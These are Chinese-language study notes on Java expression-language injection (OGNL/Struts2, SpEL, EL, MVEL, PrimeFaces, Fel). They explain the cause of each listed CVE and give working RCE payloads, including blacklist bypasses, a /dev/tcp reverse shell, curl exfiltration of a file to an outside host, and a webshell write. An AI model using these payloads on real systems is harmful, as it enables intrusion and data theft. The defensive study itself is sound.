1. Struts2—OGNL
1.1 基本语法
OGNL具有三要素: 表达式、ROOT对象、上下文环境(MAP结构)。处理OGNL的最顶层对象是一个Map对象,通常称这个Map对象为context map或者context,OGNL的root就在这个context map中,在表达式中可以直接引用oot对象的属性。
Student rootUser = new Student(1,"tom","JAVA",82);
Map context = new HashMap();
context.put("user1",new Student(2,"John","JAVA",78));
context.put("user2",new Student(3,"zhangsan","JAVA",63));
OgnlContext oc = new OgnlContext();
//ognl由root和context两部分组成
oc.setRoot(rootUser);
oc.setValues(context);
//get ognl的root的值的时候,直接写希望获取的值的名字就可以了
String name = (String) Ognl.getValue("name",oc,oc.getRoot());//tom
Integer score = (Integer) Ognl.getValue("score",oc,oc.getRoot());//82
//get ognl非root的值的时候,需要使用#
Student name1 = (Student) Ognl.getValue("#context['user1']",oc,oc.getRoot());
String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());//zhangsan
Integer score1 = (Integer) Ognl.getValue("#user1.score",oc,oc.getRoot());//78
Integer score2 = (Integer) Ognl.getValue("#user2.score",oc,oc.getRoot());//63
//ognl的getValue函数可以直接执行java函数
Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot()); //10
//访问静态属性和方法的时候需要使用@
Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')",oc.getRoot());//getValue具有代码执行能力
//命令执行
OgnlContext context2 = new OgnlContext();
//@[类全名(包括包路径)]@[方法名|值名]
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context2, context2.getRoot());
Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,"");
在Structs中,OGNL的context变成了ActionContext,root变成了valueStack。ActionContext中包含三个常见的作用域request、session、application。
ActionContext AC = ActionContext.getContext();
Map Parameters = (Map)AC.getParameters();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));
1.2 CVE漏洞
(1)s2-001
适用版本:2.0.0 – 2.0.8
漏洞成因:当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。关键函数在TextParseUtil.translateVariables
注入点:参数值
payload:
//简易无回显
%{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app/")}
//重写response实现命令回显
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
(2)s2-003
适用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue
注入点:参数名
payload:
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
此payload的url未编码的样子是:(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)&(‘@java.lang.Runtime@getRuntime().exec(\’open /Applications/Notes.app/\’)')(a)(b)
,可以发现把敏感字符(@ = #都写成了\u00??的形式)转义绕过acceptableName中设置的黑名单,
(3)s2-005
适用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:绕过s2-003的补丁,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁
注入点:参数名
payload:
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
(4)s2-007
适用版本:2.0.0 – 2.2.3
漏洞成因:当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue
注入点:参数值
payload:
user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com
(5)s2-009
适用版本:2.0.0 – 2.3.1.1,tomcat版本要求:6.0
漏洞成因:绕过s2-003和s2-005,把RCE的位置从参数名改到了参数值
OgnlContext context = new OgnlContext();
Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)");
Ognl.setValue("a[(password)(glassy)]",context,"true");
第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。
注入点:参数名+参数值
payload:
http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true
(6)s2-012
适用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
漏洞成因:计算重定向url的时候会把重定向参数的值放入ognl.getvalue中
注入点:重定向参数
payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()}
这里没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。(注意一下,这个poc也要url编码和S2-001一样的原因)
(7)s2-013
适用版本:2.0.0 – 2.3.14.1,需要jsp的s:url或者s:a标签中的includeParams属性为all或者get
漏洞成因:计算标签中action路径的时候,会把参数值带入ognl.getvalue
注入点:使用特殊s:url或者s:a标签的action的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d
(8)s2-015
适用版本:2.0.0 – 2.3.14.2,使用通配符‘*’来做action映射的时候才能利用成功。和012类似。
漏洞成因:计算重定向url的时候会把action的值放入ognl.getvalue中
注入点: action值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action
(9)s2-016
适用版本:2.0.0 – 2.3.15
漏洞成因:ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。和012类似
注入点: action:或redirect:\redirectAction:后面的值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d
(10)s2-019
适用版本:2.0.0 – 2.3.15.1,要求ST2开启开发者模式。
漏洞成因:从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
注入点:debug和expression的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()
补:s2-020
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
(11)s2-029
适用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
漏洞成因:返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue。
注入点:写入jsp中st2标签特殊属性值中的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream()))
(12)s2-032
适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外),要求在struts.xml中将DynamicMethodInvocation设置为true才能利用
漏洞成因:当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。
注入点:method:后的参数值
payload:
http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes
(13)s2-045
适用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
漏洞成因:上传组件的问题导致的RCE漏洞,ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue
注入点:Content-Type的值
payload:
Content-Type:%{(#glassy='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}
补:s2-046
payload:
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
(14)s2-048
适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
漏洞成因:ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue
注入点:传入ActionMessage的key中的参数值
payload:
name=${(#glassy='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}&age=11&__checkbox_bustedBefore=true&description=22
补:s2-052
反序列化漏洞
payload:
(15)s2-053
适用版本:2.0.0 – 2.3.33 , 2.5 – 2.5.10.1
漏洞成因:计算Freemarker的标签属性值的时候会参数的值放入ognl.getvalue中。
注入点:Freemarker的标签属性中的参数值
payload:
http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d
2. Spring—SPEL
2.1 基本语法
引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
属性名称引用还可以用$符号 如:${someProperty}
使用T()运算符会调用类作用域的方法和常量。#{T(java.lang.Math)}
Demo
//类型表达式
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"cmd.exe /c start dir\")");
Object value = exp.getValue();
//类实例化
Expression exp2 = parser.parseExpression("new java.util.Date()");
Date value2 = (Date) exp2.getValue();
System.out.println(value2);
//Method invocation
String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class);
System.out.println(c);
//variables
EvaluationContext context = new StandardEvaluationContext("HC_DU");
context.setVariable("variable", "dudu");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);
Demo中用到了StandardEvaluationContext
SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext。
Bean定义
//xml配置
//基于注解的使用
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}
2.2 常用payload
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
//java9
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
对关键字黑名单过滤绕过的payload
(1)黑名单正则匹配JAVA关键词,如:java.+lang exec.*(等
利用反射构造payload
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
.getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
.getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),
new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
利用ScriptEngineManager构造payload
#{T(javax.script.ScriptEngineManager).newInstance()
.getEngineByName("nashorn")
.eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
(2)黑名单过滤.getClass
、.class.
、.addRole
、.getPassword
、.removeRole
、session['class']
利用数组方式绕过
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]
.invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]
.invoke(null),'curl 172.17.0.1:9898')
(3)命令执行被过滤
采用String类动态生成字符绕过
例如命令为:open /Applications/Calculator.app
,写成new java.lang.String(new byte[]{
或者concat(T(java.lang.Character).toString(
嵌套来绕过
(4)审计常见关键词
org.springframework.expression|parseExpression|getValue|getValueType|value="#{*}
2.3 CVE漏洞
(1)SpringBoot
影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类
private static class SpelView implements View {
private final String template;
private final StandardEvaluationContext context = new StandardEvaluationContext();
private PropertyPlaceholderHelper helper;
private PlaceholderResolver resolver;
public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context);
}
public String getContentType() {
return "text/html";
}
public void render(Map model, HttpServletRequest request, HttpServletResponse response) throws Exception {
if(response.getContentType() == null) {
response.setContentType(this.getContentType());
}
Map map = new HashMap(model);
map.put("path", request.getContextPath());
this.context.setRootObject(map);
String result = this.helper.replacePlaceholders(this.template, this.resolver);
response.getWriter().append(result);
}
}
public String resolvePlaceholder(String name) {
Expression expression = this.parser.parseExpression(name);
try {
Object value = expression.getValue(this.context);
return HtmlUtils.htmlEscape(value == null?null:value.toString());
} catch (Exception var4) {
return null;
}
}
(2)Spring Data Commons远程代码执行漏洞(CVE-2018-1273)
影响版本:1.13-1.13.10、2.0-2.0.5
漏洞代码:
private static class MapPropertyAccessor extends AbstractPropertyAccessor {
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTypeConverter(new StandardTypeConverter(this.conversionService));
context.setRootObject(this.map);
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
TypeInformation owningType = leafProperty.getOwningType();
TypeInformation propertyType = leafProperty.getTypeInformation();
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
}
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
if (typeDescriptor == null) {
throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
}
value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
expression.setValue(context, value);
}
}
下面的代码导致普通的类表达式payload无法触发成功,需要用JAVA反射机制绕过。
context.setTypeLocator(typeName -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
});
payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open /Applications/Calculator.app")]=ruilin&password=ruilin&repeatedPassword=ruilin
(3)Spring Messageing远程命令执行漏洞(CVE-2018-1270)
影响版本:Spring Framework 5.0 to 5.0.4、Spring Framework 4.3 to 4.3.14或更老版本。
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS。STOMP包含协议CONNECT连接、SEND发送、SUBSCRIBE订阅、UNSUBSCRIBE退订、BEGIN开始、COMMIT提交、ABORT取消、ACK确认、NACK负响应、DISCONNECT断开
app.js中的代码建立Websocket连接,
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
...
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
selector本身用于对订阅信息进行过滤,header参数的接收和处理函数如下
protected void addSubscriptionInternal(
String sessionId, String subsId, String destination, Message message
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (logger.isTraceEnabled()) {
logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}
...
Expression expression = sub.getSelectorExpression();
if(expression==null){
result.add(sessionId,subId);
}
else{
if(context==null){
context=new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccess)
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
}
}
3. JSP—JSTL_EL
3.1 基本语法
序号 隐含对象名称 描述
1 pageContext 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
2 pageScope 代表page域中用于保存属性的Map对象
3 requestScope 代表request域中用于保存属性的Map对象
4 sessionScope 代表session域中用于保存属性的Map对象
5 applicationScope 代表application域中用于保存属性的Map对象
6 param 表示一个保存了所有请求参数的Map对象
7 paramValues 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
8 header 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
9 headerValues 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
10 cookie 表示一个保存了所有cookie的Map对象
11 initParam 表示一个保存了所有web应用初始化参数的map对象
3.2 CVE-2011-2730
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
http://localhost/XXX.jsp?a=${applicationScope}
容器第一次执行EL表达式${param.a}
获得了我们输入的${applicationScope}
,然后Spring标签获取容器的EL表达式求值对象,把${applicationScope}
再次执行掉,形成了漏洞。
4. Elasticsearch—MVEL
4.1 基本语法
MVEL表达式执行方法有两种模式:解释模式和编译模式
org.mvel
mvel2
2.4.4.Final
解释模式:
String expression = "foobar > 99";
Map vars = new HashMap();
vars.put("foobar", new Integer(100)); //vars={foobar=100}
Boolean result = (Boolean) MVEL.eval(expression, vars); //result=true
if (result.booleanValue()) {
System.out.println("It works!");
}
编译模式:
String expression = "foobar > 99";
// Compile the expression.
Serializable compiled = MVEL.compileExpression(expression);
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
// Now we execute it.
Boolean result = (Boolean) MVEL.executeExpression(compiled, vars);
if (result.booleanValue()) {
System.out.println("It works!");
}
比解释模式多了一步编译MVEL.compileExpression
,并且在执行时不是MVEL.eval
而是MVEL.executeExpression
用解释模式下注入demo如下
java import org.mvel.MVEL;
public class MVELTest {
public static void main(String[] args) {
String expression = "new java.lang.ProcessBuilder(/"calc/").start();";
Boolean result = (Boolean) MVEL.eval(expression, vars);
}
}
在ElasticSearch中MVEL的执行模式如下
String str = "a=123";
String exp = ";new java.lang.ProcessBuilder(\"calc\").start();";
MapVariableResolverFactory resolver = new MapVariableResolverFactory(new HashMap());
ExecutableStatement script = (ExecutableStatement) MVEL.compileExpression(str+exp);
script.getValue(null,resolver);
4.2 CVE-2014-3120
payload
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();
4.3 常见关键词
org.mvel2.MVEL.eval
org.mvel2.MVELInterpretedRuntime.parse
org.mvel2.ast.ASTNode.getReducedValue
org.mvel2.PropertyAccessor.get
org.mvel2.MVEL.execute
org.mvel2.compiler.ExecutableStatement.getValue
org.mvel2.compiler.ExecutableAccesso
org.mvel2.ast.NewObjectNode.getReducedValueAccelerated
org.mvel2.optimizers.AccessorOptimizer|org.mvel2.optimizers.dynamic.DynamicOptimizer.optimizeObjectCreation
5. Primefaces框架表达式注入
验证(代码):
${facesContext.getExternalContext().getResponse().getWriter().println("~~~elinject~~~")}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
加密的Payload:
uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSKlTh7gJWI1HR5e/f4ZjcLzobfbDkQghTWQVAXvhdUc8D7M8Nnr+gSpk0we/YPtcrOOmI+/uuxl31mfOtFvEWGE3AUZFGxpmyfyMuGL0rzVw3wUpjUlHw4k3O4pm1RrCJT/PxEtCs00U9EBM2okSaAdPIn9p9G5X3lwi6lN7MXvoBhoFVy+31JzmoVeaZattVJhqvZRs1fguZGDCqQaJe+c6rQmcZWEKQg==
Web路径:
${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath(/"//"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
6. Fel
配置
org.eweb4j
fel
0.8
常见用法
//算数表达式
FelEngine fel = new FelEngineImpl();
Object result = fel.eval("$('Math').min(1,2)");
System.out.println(result);
// Object resultfel = fel.eval("$(ognl.Ognl).getValue(\"@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')\",null)");
//变量用法
FelEngine fel2 = new FelEngineImpl();
FelContext ctx2 = fel2.getContext();
ctx2.set("单价", 1.5);
ctx2.set("数量", 1);
ctx2.set("运费", 75);
Object result2 = fel2.eval("单价*数量+运费");
System.out.println(result2);
//访问对象用法
FelEngine fel3 = new FelEngineImpl();
FelContext ctx3 = fel.getContext();
Student user = new Student(1, "zhangsan", "JAVA",89);
ctx3.set("user", user);
Map map = new HashMap();
map.put("name", "wangwu");
ctx3.set("map", map);
// 调用user.getName()方法。
System.out.println(fel.eval("user.name"));
// map.name会调用map.get("name");
System.out.println(fel.eval("map.name"));
参考资料
OGNL
https://www.freebuf.com/vuls/217482.html
https://paper.seebug.org/794/
SPEL
http://rui0.cn/archives/1043
http://www.polaris-lab.com/index.php/archives/613/
MVEL
https://wsygoogol.github.io/2016/11/15/MVEL%E8%A7%A3%E6%9E%90%E8%A1%A8%E8%BE%BE%E5%BC%8F/
STOMP
http://jmesnil.net/stomp-websocket/doc/